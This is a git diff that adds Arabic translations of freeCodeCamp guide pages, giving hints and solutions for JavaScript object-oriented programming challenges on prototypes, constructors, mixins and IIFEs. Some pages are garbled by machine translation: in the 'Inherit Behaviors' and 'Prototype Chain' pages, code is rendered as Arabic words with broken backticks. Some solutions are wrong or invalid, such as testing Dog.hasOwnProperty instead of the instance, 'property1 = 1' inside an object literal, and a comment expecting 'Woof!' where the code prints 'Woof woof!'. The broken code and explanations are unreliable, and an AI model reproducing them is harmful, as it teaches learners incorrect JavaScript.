+  return re.test(str); 
+ } 
+ telephoneCheck("555-555-5555"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLoa/0)
+
+### شرح الشفرة:
+
+هذا مثال على حل شامل وشامل للغاية للتحقق من صحة جانب العميل لأرقام الهواتف الأمريكية. في مثل هذه الحالات ، قد يكون من الأفضل بكثير ومن الأسهل تنفيذ هذه المكتبة [libphonenumber](https://github.com/googlei18n/libphonenumber) .
+
+#### روابط ذات صلة
+
+*   [Regex.test ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)
+*   [libphonenumber](https://github.com/googlei18n/libphonenumber)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md
new file mode 100644
index 0000000000..2787acd8e8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/add-methods-after-inheritance/index.md
@@ -0,0 +1,37 @@
+---
+title: Add Methods After Inheritance
+localeTitle: إضافة طرق بعد الوراثة
+---
+## إضافة طرق بعد الوراثة
+
+### طريقة
+
+تمامًا كما في المثال التالي ، يجب إنشاء مثيل جديد لكائن - `Dog` - ويجب تعيين `prototype` .
+
+ `function Bird() { } 
+ Bird.prototype = Object.create(Animal.prototype); 
+ Bird.prototype.constructor = Bird; 
+` 
+
+ثم يجب إضافة وظيفة جديدة - `bark()` - إلى نموذج الكلب.
+
+### حل
+
+ `function Animal() { } 
+ Animal.prototype.eat = function() { console.log("nom nom nom"); }; 
+ 
+ function Dog() { } 
+ 
+ // Add your code below this line 
+ Dog.prototype = Object.create(Animal.prototype); 
+ Dog.prototype.constructor = Dog; 
+ Dog.prototype.bark = function() { 
+    console.log("Woof woof!"); 
+ }; 
+ // Add your code above this line 
+ 
+ let beagle = new Dog(); 
+ 
+ beagle.eat(); // Should print "nom nom nom" 
+ beagle.bark(); // Should print "Woof!" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md
new file mode 100644
index 0000000000..223589904e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/change-the-prototype-to-a-new-object/index.md
@@ -0,0 +1,76 @@
+---
+title: Change the Prototype to a New Object
+localeTitle: تغيير النموذج إلى كائن جديد
+---
+## تغيير النموذج إلى كائن جديد
+
+بدلا من إضافة كل خاصية نموذج واحد تلو الآخر مع `object.prototype.property` . يمكننا القيام بذلك أسهل بكثير من خلال وضع النموذج الأولي على كائن جديد. بهذه الطريقة تتم إضافة كل خصائص النموذج في وقت واحد.
+
+  
+
+## ملحوظة:
+
+ `Dog.prototype = { 
+  property: value, 
+  functionName: function(){ 
+ 
+  }, 
+ } 
+` 
+
+حاول الآن أن تحل التحدي!
+
+  
+
+## Spoiler-Alert الحل إلى الأمام!
+
+  
+
+## الحل 1:
+
+ `function Dog(name) { 
+  this.name = name; 
+ } 
+ Dog.prototype = { 
+  // Add your code below this line 
+  numLegs: 2, 
+  eat: function(){ 
+    console.log('nom nom nom'); 
+  }, 
+  describe: function(){ 
+    console.log("My name is " + this.name); 
+  } 
+ } 
+` 
+
+## شرح الشفرة:
+
+نقوم بتعيين متغير النموذج إلى كائن جديد. ثم نعلن عن خاصية numLegs ونمنحه قيمة 2.
+
+بعد ذلك نخلق الوظيفتين "تناول الطعام" و "وصف". الآن تذكر أن الدالات في الكائنات هي أساليب لها نفس الصيغة كخصائص. لديك اسم متبوعًا بقيمة. هذه القيمة هي الوظيفة والاسم هو اسم وظيفتك.  
+
+## الحل 2:
+
+ `function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype = { 
+  // Add your code below this line 
+  numLegs: 2, 
+  eat(){ 
+    console.log('nom nom nom'); 
+  }, 
+  describe(){ 
+    console.log("My name is " + this.name); 
+  } 
+ }; 
+` 
+
+## شرح الشفرة:
+
+الشيء الوحيد المختلف بين هذا الحل والحل الأخير هو أننا قللنا بناء الجملة على وظائف "أكل" و "وصف". فعلنا ذلك عن طريق إزالة ":" وكلمة "وظيفة".
+
+مع ES6 يسمح لنا القيام بذلك.
+
+يمكنك أن تقرأ عنها هنا: [المرجع](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md
new file mode 100644
index 0000000000..4b3f4539a4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-basic-javascript-object/index.md
@@ -0,0 +1,17 @@
+---
+title: Create a Basic JavaScript Object
+localeTitle: قم بإنشاء كائن JavaScript أساسي
+---
+## قم بإنشاء كائن JavaScript أساسي
+
+### طريقة:
+
+تتشابه هذه المشكلة إلى حد ما مع المثال المعطى. إعطاء كائن `dog` خاصيتين جديدتين - `name` و `numLegs` - وتعيينها إلى سلسلة ورقم ، على التوالي.
+
+### حل:
+
+ `let dog = { 
+  name: "George", 
+  numLegs: 4 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md
new file mode 100644
index 0000000000..944bc6cc84
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/create-a-method-on-an-object/index.md
@@ -0,0 +1,31 @@
+---
+title: Create a Method on an Object
+localeTitle: إنشاء طريقة على كائن
+---
+## إنشاء طريقة على كائن
+
+### طريقة:
+
+يجب تهيئة وظيفة الكائنات داخل الكائن نفسه. يتم توضيح هذا في التعليمة البرمجية التالية.
+
+ `let obj = { 
+  property1 = 1, 
+ 
+  function1: function() { 
+    //Code to be exectued 
+  } 
+ }; 
+` 
+
+### حل:
+
+ `let dog = { 
+  name: "Spot", 
+  numLegs: 4, 
+  sayLegs: function() { 
+    return "This dog has " + dog.numLegs + " legs."; 
+  } 
+ }; 
+ 
+ dog.sayLegs(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md
new file mode 100644
index 0000000000..a39727ba6d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/define-a-constructor-function/index.md
@@ -0,0 +1,18 @@
+---
+title: Define a Constructor Function
+localeTitle: تحديد وظيفة منشئ
+---
+## تحديد وظيفة منشئ
+
+### طريقة:
+
+يجب كتابة الدالة `Dog()` بالتنسيق نفسه تمامًا مثل الدالة `Bird()` المعطاة في المثال. ببساطة استبدال `Bird` مع `Dog` لتمرير جميع حالات الاختبار.
+
+### حل:
+
+ `function Dog() { 
+  this.name = "Geogre", 
+  this.color = "White", 
+  this.numLegs = 4; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md
new file mode 100644
index 0000000000..da9bcbd493
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/extend-constructors-to-receive-arguments/index.md
@@ -0,0 +1,19 @@
+---
+title: Extend Constructors to Receive Arguments
+localeTitle: تمديد البنائين لتلقي الحجج
+---
+## تمديد البنائين لتلقي الحجج
+
+### طريقة:
+
+مثلما في مثال `Bird()` ، يجب أن تقوم الدالة `Dog()` بجمع معلمتين - `name` `color` . يجب تهيئة الاسم واللون بعد ذلك داخل الدالة باستخدام `this` الكلمة الرئيسية. يتم تعيين الخاصية النهائية - `numLegs` إلى 4 كما لا تأخذ الدالة في معلمة numLegs.
+
+### حل:
+
+ `function Dog(name, color) { 
+  this.name = name; 
+  this.color = color; 
+  this.numLegs = 4; 
+ } 
+ let terrier = new Dog("George","White"); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md
new file mode 100644
index 0000000000..c036dceaf1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Object Oriented Programming
+localeTitle: البرمجة الشيئية
+---
+## البرمجة الشيئية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md
new file mode 100644
index 0000000000..f5649998fe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/inherit-behaviors-from-a-supertype/index.md
@@ -0,0 +1,30 @@
+---
+title: Inherit Behaviors from a Supertype
+localeTitle: وراثة السلوكيات من Supertype
+---
+## وراثة السلوكيات من Supertype
+
+### طريقة
+
+لتمرير هذا التحدي ببساطة خلق جديدة `duck` و `beagle` الكائنات باستخدام `Object.create()` طريقة رأينا في المثال التالي.
+
+\`\` \`جافا سكريبت
+
+السماح للحيوان = Object.create (Animal.prototype) ؛
+
+ `### Solution 
+` 
+
+جافا سكريبت
+
+وظيفة الحيوان () {}
+
+Animal.prototype = { منشئ: الحيوان ، أكل: وظيفة () { console.log ("nom nom nom")؛ } }؛
+
+// أضف رمزك أدناه هذا السطر
+
+السماح بطة = Object.create (Animal.prototype) ؛ // قم بتغيير هذا الخط let beagle = Object.create (Animal.prototype) ؛؛ // قم بتغيير هذا الخط
+
+duck.eat ()؛ / / يجب طباعة "nom nom nom" beagle.eat ()؛ / / يجب طباعة "nom nom nom"
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md
new file mode 100644
index 0000000000..88f1d283b6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/iterate-over-all-properties/index.md
@@ -0,0 +1,33 @@
+---
+title: Iterate Over All Properties
+localeTitle: تكرار جميع الممتلكات
+---
+## تكرار جميع الممتلكات
+
+### طريقة
+
+الأسلوب هو استخدام `for-in-loop` تكرار خلال كل خاصية في الكائن. داخل الحلقة ، `ownProps[]` إذا كان الخاصية خاصية `own-property` أو `prototype` ، ثم ضعها في `ownProps[]` أو صفيف `prototypeProps[]` . تذكر `push` الخصائص إلى كائن `beagle` وليس الكائن `Dog` لتمرير جميع حالات الاختبار.
+
+### حل
+
+ `function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ Dog.prototype.numLegs = 4; 
+ 
+ let beagle = new Dog("Snoopy"); 
+ 
+ let ownProps = []; 
+ let prototypeProps = []; 
+ 
+ // Add your code below this line 
+ for (let property in beagle) { 
+  if(Dog.hasOwnProperty(property)) { 
+    ownProps.push(property) 
+  } 
+  else { 
+    prototypeProps.push(property) 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md
new file mode 100644
index 0000000000..a41453d79e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/make-code-more-reusable-with-the-this-keyword/index.md
@@ -0,0 +1,20 @@
+---
+title: Make Code More Reusable with the this Keyword
+localeTitle: جعل رمز أكثر قابلة لإعادة الاستخدام مع هذه الكلمة الرئيسية
+---
+## جعل رمز أكثر قابلة لإعادة الاستخدام مع هذه الكلمة الرئيسية
+
+### طريقة:
+
+هذا التحدي هو ببساطة إظهار قوة `this` الكلمة. يؤدي استبدال `dog.numLegs` بـ `this.numLegs` تعزيز الشفرة من خلال الرجوع إلى هذا الكائن مباشرة. يحتوي [developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this) على العديد من الأمثلة لتحديد تأثيرات `this` الكلمة الرئيسية.
+
+### حل:
+
+ `let dog = { 
+  name: "Spot", 
+  numLegs: 4, 
+  sayLegs: function() {return "This dog has " + this.numLegs + " legs.";} 
+ }; 
+ 
+ dog.sayLegs(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md
new file mode 100644
index 0000000000..4654c9a65c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/override-inherited-methods/index.md
@@ -0,0 +1,12 @@
+---
+title: Override Inherited Methods
+localeTitle: تجاوز الأساليب الموروثة
+---
+## تجاوز الأساليب الموروثة
+
+# حل
+
+ `Penguin.prototype.fly = function() { 
+    return  "Alas, this is a flightless bird."; 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md
new file mode 100644
index 0000000000..f651f4c3d8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/remember-to-set-the-constructor-property-when-changing-the-prototype/index.md
@@ -0,0 +1,23 @@
+---
+title: Remember to Set the Constructor Property when Changing the Prototype
+localeTitle: تذكر تعيين الخاصية منشئ عند تغيير "النموذج الأولي"
+---
+## تذكر تعيين الخاصية منشئ عند تغيير "النموذج الأولي"
+
+*   تذكر تعريف الخاصية منشئ عند تعيين نموذج أولي لكائن جديد.
+
+# حل
+
+ `Dog.prototype = { 
+ 
+  constructor: Dog, // Solution 
+ 
+  numLegs: 2, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  }, 
+  describe: function() { 
+    console.log("My name is " + this.name); 
+  } 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md
new file mode 100644
index 0000000000..45e810a5c6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/reset-an-inherited-constructor-property/index.md
@@ -0,0 +1,29 @@
+---
+title: Reset an Inherited Constructor Property
+localeTitle: إعادة تعيين منشئ Conherrated الخاصية
+---
+## إعادة تعيين منشئ Conherrated الخاصية
+
+### طريقة
+
+تمت برمجة كائنات `duck` `beagle` لترث خصائص `supertypes` . للكتابة فوق هذين السطرين من التعليمات البرمجية يجب أن تتم كتابتها لتعيين المنشئين إلى المنشئين المطلوبين `Bird` و `Dog` . يوضح التعليمة البرمجية التالية كيف يمكن تحقيق ذلك.
+
+ `Bird.prototype.constructor = Bird; 
+` 
+
+### حل
+
+ `function Animal() { } 
+ function Bird() { } 
+ function Dog() { } 
+ 
+ Bird.prototype = Object.create(Animal.prototype); 
+ Dog.prototype = Object.create(Animal.prototype); 
+ 
+ // Add your code below this line 
+ Bird.prototype.constructor = Bird; 
+ Dog.prototype.constructor = Dog; 
+ 
+ let duck = new Bird(); 
+ let beagle = new Dog(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md
new file mode 100644
index 0000000000..9ca9637a6f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/set-the-childs-prototype-to-an-instance-of-the-parent/index.md
@@ -0,0 +1,32 @@
+---
+title: Set the Child's Prototype to an Instance of the Parent
+localeTitle: قم بتعيين Prototype الخاص بالطفل إلى مثيل من أصل
+---
+## قم بتعيين Prototype الخاص بالطفل إلى مثيل من أصل
+
+### طريقة
+
+لا يختلف هذا التحدي عن التحدي الأخير ، حيث يجب عليك إنشاء كائن يرث من النوع `supertype` . فقط هذه المرة سوف يرث `Dog` الفرعي نوع `Animal` الفائق. ببساطة إنشاء مثيل جديد من `Dog.prototype` مثل المثال التالي.
+
+ `Bird.prototype = Object.create(Animal.prototype); 
+` 
+
+### حل
+
+ `function Animal() { } 
+ 
+ Animal.prototype = { 
+  constructor: Animal, 
+  eat: function() { 
+    console.log("nom nom nom"); 
+  } 
+ }; 
+ 
+ function Dog() { } 
+ 
+ // Add your code below this line 
+ Dog.prototype = Object.create(Animal.prototype); 
+ 
+ let beagle = new Dog(); 
+ beagle.eat();  // Should print "nom nom nom" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md
new file mode 100644
index 0000000000..6941972460
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-own-properties/index.md
@@ -0,0 +1,23 @@
+---
+title: Understand Own Properties
+localeTitle: فهم خصائص خاصة
+---
+## فهم خصائص خاصة
+
+### طريقة:
+
+في مثال الكود المعطى سترى مصفوفة جديدة `ownProps[]` intialised متبوعة بعلامة `for...in` العبارة للتكرار من خلال خصائص `duck` ثم استخدم عبارة `push()` لملء الصفيف الجديد. يجب اتباع نفس الطريقة لكائن `canary` .
+
+ببساطة `duck` كائن `duck` في العبارة "for… in" مع كائن `canary` لتمرير جميع حالات الاختبار.
+
+### حل:
+
+ `let canary = new Bird("Tweety"); 
+ let ownProps = []; 
+ // Add your code below this line 
+ for(let property in canary) { 
+  if(canary.hasOwnProperty(property)) { 
+    ownProps.push(property); 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md
new file mode 100644
index 0000000000..5bcf8188e7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-constructor-property/index.md
@@ -0,0 +1,26 @@
+---
+title: Understand the Constructor Property
+localeTitle: فهم خاصية منشئ
+---
+## فهم خاصية منشئ
+
+### طريقة
+
+ببساطة إنهاء وظيفة مثل ذلك المثال المعطى. استخدم عبارة `if-statement` لاختبار ما إذا كان `candidate` `Dog` أم لا.
+
+### حل
+
+ `function Dog(name) { 
+  this.name = name; 
+ } 
+ 
+ // Add your code below this line 
+ function joinDogFraternity(candidate) { 
+  if(candidate.constructor === Dog) { 
+    return true; 
+  } 
+  else { 
+    return false; 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md
new file mode 100644
index 0000000000..e5bbf9d5f7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-immediately-invoked-function-expression-iife/index.md
@@ -0,0 +1,16 @@
+---
+title: Understand the Immediately Invoked Function Expression (IIFE)
+localeTitle: فهم تعبير الدالة المستحثة فوراً (IIFE)
+---
+## فهم تعبير الدالة المستحثة فوراً (IIFE)
+
+### طريقة
+
+تطلب منك حالة الاختبار الأولى جعل الوظيفة مجهولة. للقيام بذلك ببساطة قم بإزالة اسم الدالة كما يظهر في المثال. بعد ذلك يجب أن تكون هذه الوظيفة ملفوفة في أقواس معقوفة مع مجموعة أخرى من الأقواس المتعرجة في النهاية للاتصال فوراً بالوظيفة.
+
+### حل
+
+ `(function() { 
+  console.log("A cozy nest is ready"); 
+ })(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md
new file mode 100644
index 0000000000..f54186f82c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-the-prototype-chain/index.md
@@ -0,0 +1,17 @@
+---
+title: Understand the Prototype Chain
+localeTitle: فهم سلسلة النموذج
+---
+## فهم سلسلة النموذج
+
+### حل
+
+يجب أن تُظهر الكود الخاص بك أن Object.prototype هو النموذج الأولي لـ Dog.prototype
+
+\`\` \`جافا سكريبت وظيفة كلب (الاسم) { this.name = name؛ }
+
+دع بيغل = كلب جديد ("سنوبي") ؛
+
+Dog.prototype.isPrototypeOf (بيغل)؛ // => صحيح
+
+// ثبّت الشفرة أدناه حتى يتم تقييمها إلى true Object.prototype.isPrototypeOf (Dog.prototype)؛ \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md
new file mode 100644
index 0000000000..f701f9c5b6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md
@@ -0,0 +1,9 @@
+---
+title: Understand Where an Object’s Prototype Comes From
+localeTitle: فهم أين يأتي النموذج الأولي للكائن من
+---
+## فهم أين يأتي النموذج الأولي للكائن من
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/understand-where-an-objects-prototype-comes-from/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md
new file mode 100644
index 0000000000..04d520115d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-constructor-to-create-objects/index.md
@@ -0,0 +1,20 @@
+---
+title: Use a Constructor to Create Objects
+localeTitle: استخدم منشئ لإنشاء كائنات
+---
+## استخدم منشئ لإنشاء كائنات
+
+### طريقة:
+
+رأينا في التحدي الأخير كيفية إنشاء وظيفة منشئ. الآن يمكننا ببساطة استدعاء هذه الوظيفة لإنشاء كائن جديد مع خصائص محددة بالفعل في المنشئ. ببساطة تهيئة `hound` متغير جديد استدعاء منشئ `Dog()` .
+
+### حل:
+
+ `function Dog() { 
+  this.name = "Rupert"; 
+  this.color = "brown"; 
+  this.numLegs = 4; 
+ } 
+ // Add your code below this line 
+ let hound = new Dog(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md
new file mode 100644
index 0000000000..73d3b3907f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-a-mixin-to-add-common-behavior-between-unrelated-objects/index.md
@@ -0,0 +1,31 @@
+---
+title: Use a Mixin to Add Common Behavior Between Unrelated Objects
+localeTitle: استخدم Mixin لإضافة سلوك شائع بين الكائنات غير المرتبطة
+---
+## استخدم Mixin لإضافة سلوك شائع بين الكائنات غير المرتبطة
+
+### طريقة
+
+تماما مثل وظيفة `flyMixin` ، يجب أن تكون وظيفة `glideMixin` جديدة لقبول كل من كائنات `bird` `boat` كمعلمة. قم بإنشاء هذه الوظيفة الجديدة باستخدام نفس صيغة الدالة `flyMixin` ثم قم باستدعاء الوظيفة على كلا العنصرين.
+
+### حل
+
+ `let bird = { 
+  name: "Donald", 
+  numLegs: 2 
+ }; 
+ 
+ let boat = { 
+  name: "Warrior", 
+  type: "race-boat" 
+ }; 
+ 
+ // Add your code below this line 
+ let glideMixin = function(obj) { 
+    obj.glide = function() { 
+        console.log("Gliding!"); 
+    } 
+ }; 
+ glideMixin(bird); 
+ glideMixin(boat); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md
new file mode 100644
index 0000000000..38b6dfe8a5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-an-iife-to-create-a-module/index.md
@@ -0,0 +1,42 @@
+---
+title: Use an IIFE to Create a Module
+localeTitle: استخدم IIFE لإنشاء وحدة نمطية
+---
+## استخدم IIFE لإنشاء وحدة نمطية
+
+### طريقة
+
+يجب أن تكون ملفوفة في كلا `Mixin` 's في `funModule` جديدة لذا نقطة بداية esay للتعليق خارج الكود حتى الآن.
+
+ `/*let isCuteMixin = function(obj) { 
+  obj.isCute = function() { 
+    return true; 
+  }; 
+ }; 
+ let singMixin = function(obj) { 
+  obj.sing = function() { 
+    console.log("Singing to an awesome tune"); 
+  }; 
+ }; 
+ */ 
+` 
+
+ثم أدناه ابدأ بكتابة كود `funModule` الجديد. داخل الوحدة النمطية الجديدة ، تحتاج إلى كتابة بيان إرجاع لإرجاع كتل التعليمات البرمجية `Mixin` . ما عليك سوى نسخ كل من الكود الأصلي لكتل `Mixin` إلى كود الوحدة الجديدة ، ولكن تذكر أن تفصل كل من المزيج مع `,`
+
+### حل
+
+ `let funModule = (function() { 
+  return { 
+    isCuteMixin: function(obj) { 
+      obj.isCute = function() { 
+        return true; 
+      }; 
+    }, 
+    singMixin: function(obj) { 
+      obj.sing = function() { 
+         console.log("Singing to an awesome tune"); 
+      }; 
+    } 
+  } 
+ })(); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/object-oriented-programming/use-closure-to-protect-properties-within-an-object-from-being-modified-externally/index.md
new file mode 100644
index 0000000000..baac23cd8f
--- /dev/null
